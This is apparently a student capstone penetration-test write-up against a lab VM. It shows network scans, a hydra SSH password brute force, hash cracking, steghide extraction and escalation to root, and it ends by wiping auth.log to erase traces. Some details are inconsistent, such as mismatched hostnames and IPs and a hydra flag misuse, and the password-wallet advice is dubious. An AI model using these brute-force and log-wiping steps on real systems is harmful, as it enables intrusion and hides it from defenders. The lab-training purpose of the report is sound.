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Penetration Test Report

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Report-High-Level Summary

The Blue Team was tasked with penetration testing the Green Team machine, searching for the codes(flags) that have been left by the Green Team and recovering these codes for a capstone project.

The focus of this test is to perform attacks, similar to those of a malicious entity, and attempt to gain access to the Green Team machine. The Blue team's overall objective was to identify system weaknesses and exploit flaws while reporting the findings codes Green Team.

While conducting the penetration test, it seems that there were no vulnerabilities within the Green Team system so we started the user's security awareness test by using some common and easy passwords that can be used by attackers. During testing, Blue Team had gained access to the system. this is a brief description of how access was obtained are listed below:

Target – Obtained access via the SSH's easy password service using a dictionary that contains a common and easy password that can be collected by social engineering and the internet and using hydra tool.

Report – Recommendations and Patches

The Blue Team recommends awareness training for the system users to ensure that an attacker cannot exploit this system in the future. One thing to remember is that Cyber security training is the most effective way of educating employees on the risks they should avoid and the steps they should take if they are unsure about what to do in certain scenarios.

In fact, weak password-based systems failure to require sufficient password strength, and to control incorrect password entry, is a serious security issue, as in Green Team machine.

Password attacks are rarely successful against systems that have adopted the manufacturer's recommended security practices. Controls that limit the number of unsuccessful access attempts allowed per unit of elapsed time are very effective against brute force attacks.

For recommendation for Green Team, the shall use the best possible passwords to set a good example, write them down, and keep the list safely in a wallet next to a credit card. Also must know as much about the systems and networks in your organization as possible and have access to the expert people that know the rest.

Password policy can specify the number and type of characters, the frequency of mandatory changes, and even the reusability of old passwords. Similarly, a system administrator can regulate the permitted number of incorrect password entries that are submitted and further improve the level of protection. Systems that do not validate passwords, or store passwords in easy-to-access locations, are ripe for attack.

Report-Methodologies

Blue Team have used many effective tools to performing penetration testing in order to ensure that everything is completely secured.

Report-Information Gathering

The purpose of information gathering phase is to determine the scope of the penetration testing. Blue Team was charged with exploiting the machine.

➤ **IP Target : 10.9.2.21**

Report-Enumeration

The service enumeration phase of a penetration test is concerned with learning about the services that are active on a system or systems. For an attacker, this is useful since it gives information on possible attack paths into a system. Before executing a penetration test, an attacker has to know what applications are running on the system. Some ports may not be listed in some circumstances.

IP address	Port	Service
10.9.2.4	22	SSH

Report-Penetration

The penetration testing section of the investigation is largely focused on accessing to a range of systems. Blue Team was able to successfully obtain access to the system.

Vulnerability Exploited	Target System
SSH	10.9.2.21

STEP1 : to check the local IP address and target IP address

➤ **Command :** `ifconfig`, `sudo netdiscover -r 10.9.2.0/24`

```
kali@kali: ~  
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 10.9.2.4 netmask 255.255.255.0 broadcast 10.9.2.255  
    inet6 fe80::a00:27ff:fe0e:348d prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:0e:34:8d txqueuelen 1000 (Ethernet)  
    RX packets 1039 bytes 352635 (344.3 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 1100 bytes 119424 (116.6 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 16 bytes 800 (800.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 16 bytes 800 (800.0 B)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
(kali@kali)-[~]  
$ sudo netdiscover -r 10.9.2.0/24  
[sudo] password for kali: 
```

```
kali@kali: ~  
Currently scanning: Finished! | Screen View: Unique Hosts  
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240  


| IP        | At MAC Address    | Count | Len | MAC Vendor / Hostname  |
|-----------|-------------------|-------|-----|------------------------|
| 10.9.2.1  | 52:54:00:12:35:00 | 1     | 60  | Unknown vendor         |
| 10.9.2.2  | 52:54:00:12:35:00 | 1     | 60  | Unknown vendor         |
| 10.9.2.3  | 08:00:27:18:20:f0 | 1     | 60  | PCS Systemtechnik GmbH |
| 10.9.2.21 | 08:00:27:1b:d3:82 | 1     | 60  | PCS Systemtechnik GmbH |


```

Step 2: Run a Nmap scan against the target IP .

➤ **Command :** `nmap -sV -Pn 10.9.2.21`

```
kali@kali: ~  
(kali@kali)-[~]  
$ nmap -sV -Pn 10.9.2.21  
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-29 08:35 EST  
Nmap scan report for 10.9.2.21  
Host is up (0.00085s latency).  
Not shown: 993 filtered tcp ports (no-response)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          OpenBSD ftpd 6.4 (Linux port 0.17)  
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)  
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))  
135/tcp   closed msrpc  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
443/tcp   open  http         Apache httpd 2.4.18  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
Service Info: Hosts: vmpire-VirtualBox, 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org  
/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 29.09 seconds  
  
(kali@kali)-[~]  
$
```

Step 3: pass_list.txt was used in order to get the password of the target machine

➤ **Command:**

`Hydra -l vmpire -p '/home/kali/Desktop/pass_list.txt' 10.9.2.21 ssh`

```
(kali@kali)-[~]  
$ hydra -l vmpire -p '/home/kali/Desktop/pass_list.txt' 10.9.2.21 ssh  
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in milita  
ry or secret service organizations, or for illegal purposes (this is non-binding, th  
ese ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-28 13:52:23  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommen  
ded to reduce the tasks: use -t 4  
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waitin  
g)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1500 login tries (l:1/p:1500), ~  
94 tries per task  
[DATA] attacking ssh://10.9.2.21:22/  
[STATUS] 177.00 tries/min, 177 tries in 00:01h, 1324 to do in 00:08h, 16 active  
[STATUS] 134.33 tries/min, 403 tries in 00:03h, 1098 to do in 00:09h, 16 active  
[STATUS] 117.29 tries/min, 821 tries in 00:07h, 684 to do in 00:06h, 16 active  
[STATUS] 116.83 tries/min, 1402 tries in 00:12h, 103 to do in 00:01h, 16 active  
[22][ssh] host: 10.9.2.21 login: vmpire password: vero77  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 6 final worker threads did not complete until  
end.  
[ERROR] 6 targets did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-11-28 14:05:17  
  
(kali@kali)-[~]  
$
```


Step 4: Remote Access the target machine

➤ **Command:** `ssh vmpire@10.9.2.21`

```
vmpire@vmpire-VirtualBox: ~  
(kali@kali)-[~]  
$ ssh vmpire@10.9.2.21  
vmpire@10.9.2.21's password:  
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-142-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:        https://ubuntu.com/advantage  
  
11 packages can be updated.  
2 updates are security updates.  
  
New release '18.04.6 LTS' available.  
Run 'do-release-upgrade' to upgrade to it.  
  
Last login: Sun Nov 28 14:25:48 2021 from 10.9.2.4  
vmpire@vmpire-VirtualBox:~$
```

Step 5: Looking for the flags

```
vmpire@vmpire-VirtualBox:~$ ls  
Desktop  Downloads  host  Pictures  Templates  whendell  
Documents  examples.desktop  Music  Public  Videos  
vmpire@vmpire-VirtualBox:~$ cd Desktop/  
vmpire@vmpire-VirtualBox:~/Desktop$ ls  
!!!!  
vmpire@vmpire-VirtualBox:~/Desktop$ cat !\!\!\!  
10.9.2.21:22 - Failed: vmpire:baseball  
10.9.2.21:22 - Failed: vmpire:abc123  
10.9.2.21:22 - Failed: vmpire:football  
10.9.2.21:22 - Failed: vmpire:monkey  
10.9.2.21:22 - Failed: vmpire:tekmn  
10.9.2.21:22 - Failed: vmpire:master  
10.9.2.21:22 - Failed: vmpire:000000  
10.9.2.21:22 - Failed: vmpire:qwertyuiop  
-----Are you looking for me?!-----  
vmpire@vmpire-VirtualBox:~/Desktop$
```

Step 6: Found the user flag as shown:

➤ **Command** `:/home/templates/vero.txt`

```
vmpire@vmpire-VirtualBox:~/Desktop$ cd ~  
vmpire@vmpire-VirtualBox:~$ cd Templates/  
vmpire@vmpire-VirtualBox:~/Templates$ ls  
vero.txt  
vmpire@vmpire-VirtualBox:~/Templates$ cat vero.txt  
{userflag} f96fe3f09ec4d3565bfa83f82b1f654801e8ebf8  
vmpire@vmpire-VirtualBox:~/Templates$
```

Step 7: Found the other flags

➤ **Command :** `/home/host/echooo p/w`


```
vmpire@vmpire-VirtualBox:~/Templates$ cd ~
vmpire@vmpire-VirtualBox:~$ cd host/
vmpire@vmpire-VirtualBox:~/host$ ls
echooo
vmpire@vmpire-VirtualBox:~/host$ cat echooo
6721239616373cf59bd65d4310fdac4774ab75a5
06df99a0f062b8d016b3b7e8b6904908b2d9160b
vmpire@vmpire-VirtualBox:~/host$ cd ~
vmpire@vmpire-VirtualBox:~$ cd Documents/
vmpire@vmpire-VirtualBox:~/Documents$ ls
vmpire@vmpire-VirtualBox:~/Documents$ cd ~
```

Step 8: Using Hash Cracker to get the value of them

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

6721239616373cf59bd65d4310fdac4774ab75a5

☐ I'm not a robot 
Crack Hashes


Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin), QubesV3.1BackupDefaults

Hash	Type	Result
6721239616373cf59bd65d4310fdac4774ab75a5	sha1	vero77

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

06df99a0f062b8d016b3b7e8b6904908b2d9160b

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Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin), QubesV3.1BackupDefaults

Hash	Type	Result
06df99a0f062b8d016b3b7e8b6904908b2d9160b	sha1	vmpire

Step 9: Found the Root-Flag

- **Command:** `/home/Whendell/SUMMARY.TXT`

```
vmpire@vmpire-VirtualBox:~$ cd whendell/
vmpire@vmpire-VirtualBox:~/whendell$ ls
Hypird.jpeg  secret.txt  SUMMARY.TXT
vmpire@vmpire-VirtualBox:~/whendell$ cat SUMMARY.TXT
620be9d66b0f6b5fe74969e5b7028a9d56dbf8be
{ROOT-FLAG}
vmpire@vmpire-VirtualBox:~/whendell$
```

Step 10: Using ftp in order to get the photos downloaded

- **Command:** `:/home/Whendell/hypird.Jpeg`

```
kali@kali: ~
(kali@kali)-[~]
$ ftp 10.9.2.21
Connected to 10.9.2.21.
220 vmpire-VirtualBox FTP server (Version 6.4/OpenBSD/Linux-ftpd-0.17) ready.
Name (10.9.2.21:kali): vmpire
331 Password required for vmpire.
Password:
230 User vmpire logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

```

ftp> help
Commands may be abbreviated.  Commands are:

!            dir            mdelete      qc            site
$            disconnect    mdir         sendport     size
account      exit            mget         put           status
append       form            mkdir        pwd           struct
ascii        get             mls          quit          system
bell         glob           mode         quote         sunique
binary       hash          modtime      recv          tenex
bye          help          mput         reget        tick
case         idle          newer        rstatus      trace
cd           image        nmap         rhelp        type
cdup         ipany         nlist        rename       user
chmod        ipv4          ntrans       reset        umask
close        ipv6          open         restart      verbose
cr           lcd           prompt       rmdir        ?
delete       ls            passive      runique
debug        macdef       proxy        send

ftp> cd /home/vmpire/whendell
250 CWD command successful.
ftp> pwd
257 "/home/vmpire/whendell" is current directory.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for '/bin/ls'.
total 12
-rw-rw-r-- 1 vmpire vmpire 3949 Nov 25 03:51 Hypird.jpeg
-rw-rw-r-- 1 vmpire vmpire  46 Nov 25 18:59 secret.txt
-rw-rw-r-- 1 vmpire vmpire  80 Nov 25 03:31 SUMMARY.TXT
226 Transfer complete.
ftp> get Hypird.jpeg
local: Hypird.jpeg remote: Hypird.jpeg
200 PORT command successful.
150 Opening BINARY mode data connection for 'Hypird.jpeg' (3949 bytes).
226 Transfer complete.
3949 bytes received in 0.00 secs (68.4738 MB/s)
ftp>

```

Step 11 : using the following command to get the content of the “secret.txt”

➤ **Command :** `/home/Whendell/secret.txt` (secret message)

```
kali@kali: ~  
-p, --passphrase <passphrase> specify passphrase to use for embedding  
-p <passphrase> use <passphrase> to extract data  
-xf, --extractfile <filename> select file name for extracted data  
-xf <filename> write the extracted data to <filename>  
-f, --force overwrite existing files  
-q, --quiet suppress information messages  
-v, --verbose display detailed information  
  
options for the info command:  
-p, --passphrase <passphrase> specify passphrase to use for embedding  
-p <passphrase> use <passphrase> to get info about embedded data  
  
To embed emb.txt in cvr.jpg: steghide embed -cf cvr.jpg -ef emb.txt  
To extract embedded data from stg.jpg: steghide extract -sf stg.jpg  
  
(kali@kali)~  
$ steghide extract -sf Hypird.jpeg  
Enter passphrase:  
wrote extracted data to "secret.txt".  
  
(kali@kali)~  
$ ls  
cer.crt Hash.txt (you must guess the passphrase) NmapFormatting text4.txt  
cer.csr hide.jpeg pass.txt text5.txt  
cer.key hydra.restore PE.txt ubuntu@10.9.2.5  
daily Hypird.jpeg Pictures Videos  
Desktop id_rsa Public vmpire@10.9.2.21  
dir1 JuicyPotato.exe python-evtx wget-log  
dir2 Lazysysadmin-disk1_copy.vhd secret.txt wget-log.1  
dir3 ManalKolaib_worldlist.txt snortlog wget-log.2 with steghide.  
Documents Manalworldlist.txt sss.bat wordlist.txt  
Downloads me.txt Templates wp-config.php  
example.txt m.txt text1.txt  
hASHbrowns1.txt Music text2.txt  
Hashes.txt name.txt text3.txt  
  
(kali@kali)~  
$ cat secret.txt  
You are in our castel..Dracula is coming  
  
(kali@kali)~  
$
```

Step 12 : Escalate permission for the root

```
vmpire@vmpire-VirtualBox:~/whendell$ whoami
vmpire
vmpire@vmpire-VirtualBox:~/whendell$ sudo su
[sudo] password for vmpire:
root@vmpire-VirtualBox:/home/vmpire/whendell# whoami
root
root@vmpire-VirtualBox:/home/vmpire/whendell#
```

Report-House Cleaning

The assessment's house-cleaning section guarantees that any residues of the penetration test are eradicated. On an organization's computer, fragments of tools or user accounts are frequently left, which might lead to security difficulties in the future. It is critical that we are diligent and that no remains of our penetration test remain.

After completing the goals on both the lab and exam networks, Blue Team erased all user accounts and passwords, as well as the Meterpreter services installed on the server.

Offensive Security should not have to remove any user accounts or services from any of the systems.

Step 13 : Logging in , browsing and cleaning log files

- Command: **cd/var/log/**
- Command : **cat /dev/null**

```
root@vmpire-VirtualBox:/var/log# cd /var/log/
root@vmpire-VirtualBox:/var/log# ls
alternatives.log  dist-upgrade      hp                syslog
apache2           dmesg             installer         ufw.log
apt              dpkg.log          kern.log         unattended-upgrades
auth.log          faillog           lastlog          upstart
bootstrap.log     fontconfig.log    lightdm          wtmp
btmtp             fsck              samba            Xorg.0.log
cups             gpu-manager.log   speech-dispatcher Xorg.0.log.old
root@vmpire-VirtualBox:/var/log# cat auth.log
```

```
Nov 28 10:36:05 vmfire-VirtualBox sshd[22725]: Failed password for vmfire from 10.9.2.4 port 51708 ssh2
Nov 28 10:36:05 vmfire-VirtualBox sshd[22713]: Failed password for vmfire from 10.9.2.4 port 51696 ssh2
Nov 28 10:36:05 vmfire-VirtualBox sshd[22711]: Failed password for vmfire from 10.9.2.4 port 51694 ssh2
Nov 28 10:36:05 vmfire-VirtualBox sshd[22711]: error: maximum authentication attempts exceeded for vmfire from 10.9.2.4 port 51694 ssh2 [preauth]
Nov 28 10:36:05 vmfire-VirtualBox sshd[22711]: Disconnecting: Too many authentication failures [preauth]
Nov 28 10:36:05 vmfire-VirtualBox sshd[22711]: PAM 5 more authentication failures; loginname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
Nov 28 10:36:05 vmfire-VirtualBox sshd[22711]: PAM service(sshd) ignoring max retries; 6 > 3
Nov 28 10:36:06 vmfire-VirtualBox sshd[22729]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
Nov 28 10:36:06 vmfire-VirtualBox sshd[22727]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
Nov 28 10:36:06 vmfire-VirtualBox sshd[22715]: Failed password for vmfire from 10.9.2.4 port 51698 ssh2
Nov 28 10:36:06 vmfire-VirtualBox sshd[22722]: Failed password for vmfire from 10.9.2.4 port 51706 ssh2
Nov 28 10:36:06 vmfire-VirtualBox sshd[22721]: Failed password for vmfire from 10.9.2.4 port 51704 ssh2
Nov 28 10:36:07 vmfire-VirtualBox sshd[22718]: Failed password for vmfire from 10.9.2.4 port 51702 ssh2
Nov 28 10:36:07 vmfire-VirtualBox sshd[22717]: Failed password for vmfire from 10.9.2.4 port 51700 ssh2
Nov 28 10:36:07 vmfire-VirtualBox sshd[22725]: Failed password for vmfire from 10.9.2.4 port 51708 ssh2
Nov 28 10:36:08 vmfire-VirtualBox sshd[22733]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
Nov 28 10:36:08 vmfire-VirtualBox sshd[22732]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
Nov 28 10:36:08 vmfire-VirtualBox sshd[22731]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
Nov 28 10:36:08 vmfire-VirtualBox sshd[22737]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.9.2.4 user=vmfire
```

```
root@vmfire-VirtualBox: /var/log
root@vmfire-VirtualBox: /var/log# cat /dev/null > auth.log
root@vmfire-VirtualBox: /var/log# cat auth.log
root@vmfire-VirtualBox: /var/log#
```